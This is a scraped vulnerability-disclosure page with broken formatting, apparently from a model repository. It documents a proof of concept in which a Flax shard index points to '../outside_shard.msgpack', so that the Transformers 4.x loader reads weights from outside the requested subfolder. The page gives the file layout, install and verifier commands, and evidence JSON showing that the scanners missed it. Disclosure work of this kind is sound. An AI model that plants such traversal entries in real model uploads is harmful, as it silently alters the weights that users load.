Views
No views yet
FlaxBertModel.from_pretrained(..., subfolder="model") load path. It is not arbitrary code execution, and it is
scoped to the deprecated-but-still-used Transformers 4.x Flax/JAX loader line,
but the uploaded model artifact is self-contained and the loader reads a shard
outside the requested model subfolder.model/ subfolder:FlaxBertModel.from_pretrained(source, subfolder="model")config.json, flax_model.msgpack.index.json, and a
decoy shard:1model/config.json
2model/flax_model.msgpack.index.json
3model/decoy_inside_shard.msgpack../outside_shard.msgpack:"embeddings/LayerNorm/bias": "../outside_shard.msgpack"outside_shard.msgpack-31337.0. The escaped root-level shard contains marker value 4242.0. Runtime
loads 4242.0, proving the loader read outside the requested subfolder.FlaxBertModel.from_pretrained(source, subfolder="model").3.46409 between the in-subfolder decoy parameters and the
runtime-loaded escaped-shard parameters.3.12.3transformers==4.57.6huggingface_hub==0.36.2flax==0.12.7jax==0.10.0jaxlib==0.10.0modelscan==0.8.8picklescan==1.0.41outside_shard.msgpack
2 Root-level Flax msgpack shard with marker value 4242.0.
3
4model/config.json
5 Tiny Flax BERT config loaded from the requested subfolder.
6
7model/flax_model.msgpack.index.json
8 Sharded Flax checkpoint index inside the requested subfolder. It maps all
9 weights to ../outside_shard.msgpack.
10
11model/decoy_inside_shard.msgpack
12 In-subfolder decoy shard with marker value -31337.0.
13
14verify_flax_subfolder_shard_traversal_poc.py
15 End-to-end verifier. Supports both local paths and direct Hugging Face repo
16 IDs as --source.
17
18scripts/build_flax_shard_traversal.py
19 Original artifact builder.
20
21scripts/original_inference_effect.py
22 Original lab script showing inference output change.
23
24evidence/fresh_verify.json
25 Fresh local verification output from this staged repository.
26
27evidence/hub_direct_verify.json
28 Verification output after upload using the public Hugging Face repo ID as the
29 verifier source.
30
31evidence/lab_marker_verify.json
32 Original lab marker-value verification.
33
34evidence/lab_inference_effect.json
35 Original lab inference-output verification.
36
37evidence/sha256.txt
38 Hashes for uploaded files.pip install "transformers==4.57.6" "huggingface_hub==0.36.2" "flax==0.12.7" "jax==0.10.0" "jaxlib==0.10.0" "modelscan==0.8.8" "picklescan==1.0.4"python verify_flax_subfolder_shard_traversal_poc.pypython verify_flax_subfolder_shard_traversal_poc.py --source pragnyanramtha/flax-subfolder-shard-traversal-poc1{
2 "subfolder": "model",
3 "target_key": "embeddings/LayerNorm/bias",
4 "weight_map_unique_values": ["../outside_shard.msgpack"],
5 "decoy_marker_value": -31337.0,
6 "outside_marker_value": 4242.0,
7 "runtime_loaded_marker_value": 4242.0,
8 "first_8_max_abs_delta_decoy_vs_runtime": 3.464094400405884,
9 "verified": true
10}runtime_loaded_marker_value comes from
outside_shard.msgpack, even though the caller requested subfolder="model".model/ subfolder:1{
2 "total_issues": 0,
3 "scanned": {"total_scanned": 0},
4 "skipped": {
5 "total_skipped": 3,
6 "skipped_files": [
7 {"source": "decoy_inside_shard.msgpack"},
8 {"source": "flax_model.msgpack.index.json"},
9 {"source": "config.json"}
10 ]
11 }
12}weight_map shard filenames are joined with the requested model path without
enforcing that the normalized result stays inside the requested subfolder.1requested model directory:
2 model/
3
4index location:
5 model/flax_model.msgpack.index.json
6
7index shard filename:
8 ../outside_shard.msgpack
9
10runtime-used shard:
11 outside_shard.msgpackflax_model.msgpack.index.json.